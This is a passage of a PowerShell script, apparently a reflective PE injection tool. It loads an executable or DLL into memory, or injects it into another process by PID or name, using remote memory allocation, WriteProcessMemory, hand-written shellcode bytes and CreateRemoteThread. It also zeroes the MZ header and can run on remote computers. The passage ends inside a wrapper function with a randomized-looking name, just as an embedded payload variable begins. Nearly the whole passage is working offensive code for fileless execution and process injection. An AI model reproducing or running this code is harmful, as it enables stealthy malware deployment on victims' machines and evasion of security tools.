[IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) { "Error, couldn't find _wcmdln or _acmdln" } $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) if ($Success = $false) { throw "Call to VirtualProtect failed" } [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) if ($Success = $false) { throw "Call to VirtualProtect failed" } [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null } } $ReturnArray = @() $ExitFunctions = @() [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") if ($MscoreeHandle -eq [IntPtr]::Zero) { throw "mscoree handle null" } [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") if ($CorExitProcessAddr -eq [IntPtr]::Zero) { Throw "CorExitProcess address not found" } $ExitFunctions += $CorExitProcessAddr [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") if ($ExitProcessAddr -eq [IntPtr]::Zero) { Throw "ExitProcess address not found" } $ExitFunctions += $ExitProcessAddr [UInt32]$OldProtectFlag = 0 foreach ($ProcExitFunctionAddr in $ExitFunctions) { $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr [Byte[]]$Shellcode1 = @(0xbb) [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) if ($PtrSize -eq 8) { [Byte[]]$Shellcode1 = @(0x48, 0xbb) [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) } [Byte[]]$Shellcode3 = @(0xff, 0xd3) $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") if ($ExitThreadAddr -eq [IntPtr]::Zero) { Throw "ExitThread address not found" } $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) if ($Success -eq $false) { Throw "Call to VirtualProtect failed" } $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null } Write-Output $ReturnArray } Function Copy-ArrayOfMemAddresses { Param( [Parameter(Position = 0, Mandatory = $true)] [Array[]] $CopyInfo, [Parameter(Position = 1, Mandatory = $true)] [System.Object] $Win32Functions, [Parameter(Position = 2, Mandatory = $true)] [System.Object] $Win32Constants ) [UInt32]$OldProtectFlag = 0 foreach ($Info in $CopyInfo) { $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) if ($Success -eq $false) { Throw "Call to VirtualProtect failed" } $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null } } Function Get-MemoryProcAddress { Param( [Parameter(Position = 0, Mandatory = $true)] [IntPtr] $PEHandle, [Parameter(Position = 1, Mandatory = $true)] [String] $FunctionName ) $Win32Types = Get-Win32Types $Win32Constants = Get-Win32Constants $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) { return [IntPtr]::Zero } $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) { $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) if ($Name -ceq $FunctionName) { $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) } } return [IntPtr]::Zero } Function Invoke-MemoryLoadLibrary { Param( [Parameter( Position = 0, Mandatory = $true )] [Byte[]] $PEBytes, [Parameter(Position = 1, Mandatory = $false)] [String] $ExeArgs, [Parameter(Position = 2, Mandatory = $false)] [IntPtr] $RemoteProcHandle, [Parameter(Position = 3)] [Bool] $ForceASLR = $false ) $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) $Win32Constants = Get-Win32Constants $Win32Functions = Get-Win32Functions $Win32Types = Get-Win32Types $RemoteLoading = $false if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) { $RemoteLoading = $true } Write-Verbose "Getting basic PE information from the file" $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types $OriginalImageBase = $PEInfo.OriginalImageBase $NXCompatible = $true if (([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) { Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue $NXCompatible = $false } $Process64Bit = $true if ($RemoteLoading -eq $true) { $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") if ($Result -eq [IntPtr]::Zero) { Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" } [Bool]$Wow64Process = $false $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) if ($Success -eq $false) { Throw "Call to IsWow64Process failed" } if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) { $Process64Bit = $false } $PowerShell64Bit = $true if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) { $PowerShell64Bit = $false } if ($PowerShell64Bit -ne $Process64Bit) { throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" } } else { if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) { $Process64Bit = $false } } if ($Process64Bit -ne $PEInfo.PE64Bit) { Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" } Write-Verbose "Allocating memory for the PE and write its headers to memory" [IntPtr]$LoadAddr = [IntPtr]::Zero $PESupportsASLR = ([Int] $PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -eq $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE if ((-not $ForceASLR) -and (-not $PESupportsASLR)) { Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again OR try using the -ForceASLR flag (could cause crashes)" -WarningAction Continue [IntPtr]$LoadAddr = $OriginalImageBase } elseif ($ForceASLR -and (-not $PESupportsASLR)) { Write-Verbose "PE file doesn't support ASLR but -ForceASLR is set. Forcing ASLR on the PE file. This could result in a crash." } if ($ForceASLR -and $RemoteLoading) { Write-Error "Cannot use ForceASLR when loading in to a remote process." -ErrorAction Stop } if ($RemoteLoading -and (-not $PESupportsASLR)) { Write-Error "PE doesn't support ASLR. Cannot load a non-ASLR PE in to a remote process" -ErrorAction Stop } $PEHandle = [IntPtr]::Zero $EffectivePEHandle = [IntPtr]::Zero if ($RemoteLoading -eq $true) { $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) if ($EffectivePEHandle -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" } } else { if ($NXCompatible -eq $true) { $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) } else { $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) } $EffectivePEHandle = $PEHandle } [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) if ($PEHandle -eq [IntPtr]::Zero) { Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." } [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null Write-Verbose "Getting detailed PE information from the headers loaded in memory" $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle Write-Verbose "StartAddress: $(Get-Hex $PEHandle) EndAddress: $(Get-Hex $PEEndAddress)" Write-Verbose "Copy PE sections in to memory" Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types Write-Verbose "Import DLL's needed by the PE we are loading" if ($RemoteLoading -eq $true) { Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle } else { Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants } if ($RemoteLoading -eq $false) { if ($NXCompatible -eq $true) { Write-Verbose "Update memory protection flags" Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types } else { Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" } } else { Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" } if ($RemoteLoading -eq $true) { [UInt32]$NumBytesWritten = 0 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) if ($Success -eq $false) { Throw "Unable to write shellcode to remote process memory." } } if ($PEInfo.FileType -ieq "DLL") { if ($RemoteLoading -eq $false) { Write-Verbose "Calling dllmain so the DLL knows it has been loaded" $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null } else { $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) if ($PEInfo.PE64Bit -eq $true) { $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) } else { $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) } $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) $SCPSMemOriginal = $SCPSMem Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) if ($RSCAddr -eq [IntPtr]::Zero) { Throw "Unable to allocate memory in the remote process for shellcode" } $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) { Throw "Unable to write shellcode to remote process memory." } $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) if ($Result -ne 0) { Throw "Call to CreateRemoteThread to call GetProcAddress failed." } $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null } } elseif ($PEInfo.FileType -ieq "EXE") { [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) Write-Verbose "Call EXE Main function. Address: $(Get-Hex $ExeMainPtr). Creating thread for the EXE to run in." $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null while($true) { [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) if ($ThreadDone -eq 1) { Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants Write-Verbose "EXE thread has completed." break } else { Start-Sleep -Seconds 1 } } } return @($PEInfo.PEHandle, $EffectivePEHandle) } Function Invoke-MemoryFreeLibrary { Param( [Parameter(Position=0, Mandatory=$true)] [IntPtr] $PEHandle ) $Win32Constants = Get-Win32Constants $Win32Functions = Get-Win32Functions $Win32Types = Get-Win32Types $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) { [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) while ($true) { $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) if ($ImportDescriptor.Characteristics -eq 0 ` -and $ImportDescriptor.FirstThunk -eq 0 ` -and $ImportDescriptor.ForwarderChain -eq 0 ` -and $ImportDescriptor.Name -eq 0 ` -and $ImportDescriptor.TimeDateStamp -eq 0) { Write-Verbose "Done unloading the libraries needed by the PE" break } $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) if ($ImportDllHandle -eq $null) { Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue } $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) if ($Success -eq $false) { Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue } $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) } } Write-Verbose "Calling dllmain so the DLL knows it is being unloaded" $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) $DllMain.Invoke($PEInfo.PEHandle, 0, [IntPtr]::Zero) | Out-Null $Success = $Win32Functions.VirtualFree.Invoke($PEHandle, [UInt64]0, $Win32Constants.MEM_RELEASE) if ($Success -eq $false) { Write-Warning "Unable to call VirtualFree on the PE's memory. Continuing anyways." -WarningAction Continue } } Function Main { $Win32Functions = Get-Win32Functions $Win32Types = Get-Win32Types $Win32Constants = Get-Win32Constants $RemoteProcHandle = [IntPtr]::Zero if (($ProcId -ne $null) -and ($ProcId -ne 0) -and ($ProcName -ne $null) -and ($ProcName -ne "")) { Throw "Can't supply a ProcId and ProcName, choose one or the other" } elseif ($ProcName -ne $null -and $ProcName -ne "") { $Processes = @(Get-Process -Name $ProcName -ErrorAction SilentlyContinue) if ($Processes.Count -eq 0) { Throw "Can't find process $ProcName" } elseif ($Processes.Count -gt 1) { $ProcInfo = Get-Process | where { $_.Name -eq $ProcName } | Select-Object ProcessName, Id, SessionId Write-Output $ProcInfo Throw "More than one instance of $ProcName found, please specify the process ID to inject in to." } else { $ProcId = $Processes[0].ID } } if (($ProcId -ne $null) -and ($ProcId -ne 0)) { $RemoteProcHandle = $Win32Functions.OpenProcess.Invoke(0x001F0FFF, $false, $ProcId) if ($RemoteProcHandle -eq [IntPtr]::Zero) { Throw "Couldn't obtain the handle for process ID: $ProcId" } Write-Verbose "Got the handle for the remote process to inject in to" } Write-Verbose "Calling Invoke-MemoryLoadLibrary" $PEHandle = [IntPtr]::Zero if ($RemoteProcHandle -eq [IntPtr]::Zero) { $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -ForceASLR $ForceASLR } else { $PELoadedInfo = Invoke-MemoryLoadLibrary -PEBytes $PEBytes -ExeArgs $ExeArgs -RemoteProcHandle $RemoteProcHandle -ForceASLR $ForceASLR } if ($PELoadedInfo -eq [IntPtr]::Zero) { Throw "Unable to load PE, handle returned is NULL" } $PEHandle = $PELoadedInfo[0] $RemotePEHandle = $PELoadedInfo[1] $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants if (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -eq [IntPtr]::Zero)) { switch ($FuncReturnType) { 'WString' { Write-Verbose "Calling function with WString return type" [IntPtr]$WStringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "WStringFunc" if ($WStringFuncAddr -eq [IntPtr]::Zero) { Throw "Couldn't find function address." } $WStringFuncDelegate = Get-DelegateType @() ([IntPtr]) $WStringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WStringFuncAddr, $WStringFuncDelegate) [IntPtr]$OutputPtr = $WStringFunc.Invoke() $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringUni($OutputPtr) Write-Output $Output } 'String' { Write-Verbose "Calling function with String return type" [IntPtr]$StringFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "StringFunc" if ($StringFuncAddr -eq [IntPtr]::Zero) { Throw "Couldn't find function address." } $StringFuncDelegate = Get-DelegateType @() ([IntPtr]) $StringFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($StringFuncAddr, $StringFuncDelegate) [IntPtr]$OutputPtr = $StringFunc.Invoke() $Output = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($OutputPtr) Write-Output $Output } 'Void' { Write-Verbose "Calling function with Void return type" [IntPtr]$VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" if ($VoidFuncAddr -eq [IntPtr]::Zero) { } else { $VoidFuncDelegate = Get-DelegateType @() ([Void]) $VoidFunc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VoidFuncAddr, $VoidFuncDelegate) $VoidFunc.Invoke() | Out-Null } } } } elseif (($PEInfo.FileType -ieq "DLL") -and ($RemoteProcHandle -ne [IntPtr]::Zero)) { $VoidFuncAddr = Get-MemoryProcAddress -PEHandle $PEHandle -FunctionName "VoidFunc" if (($VoidFuncAddr -eq $null) -or ($VoidFuncAddr -eq [IntPtr]::Zero)) { } else{ $VoidFuncAddr = Sub-SignedIntAsUnsigned $VoidFuncAddr $PEHandle $VoidFuncAddr = Add-SignedIntAsUnsigned $VoidFuncAddr $RemotePEHandle $RThreadHandle = Create-RemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $VoidFuncAddr -Win32Functions $Win32Functions } } if ($RemoteProcHandle -eq [IntPtr]::Zero -and $PEInfo.FileType -ieq "DLL") { } else { } Write-Verbose "Done!" } Main } Function Main { if (($PSCmdlet.MyInvocation.BoundParameters["Debug"] -ne $null) -and $PSCmdlet.MyInvocation.BoundParameters["Debug"].IsPresent) { $DebugPreference = "Continue" } Write-Verbose "PowerShell ProcessID: $PID" $e_magic = ($PEBytes[0..1] | % {[Char] $_}) -join '' if ($e_magic -ne 'MZ') { throw 'PE is not a valid PE file.' } if (-not $DoNotZeroMZ) { $PEBytes[0] = 0 $PEBytes[1] = 0 } if ($ExeArgs -ne $null -and $ExeArgs -ne '') { $ExeArgs = "ReflectiveExe $ExeArgs" } else { $ExeArgs = "ReflectiveExe" } if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") { Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) } else { Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes, $FuncReturnType, $ProcId, $ProcName,$ForceASLR) -ComputerName $ComputerName } } Main } function Invoke-HGFXNPCQTZ { $PEBytes32 = 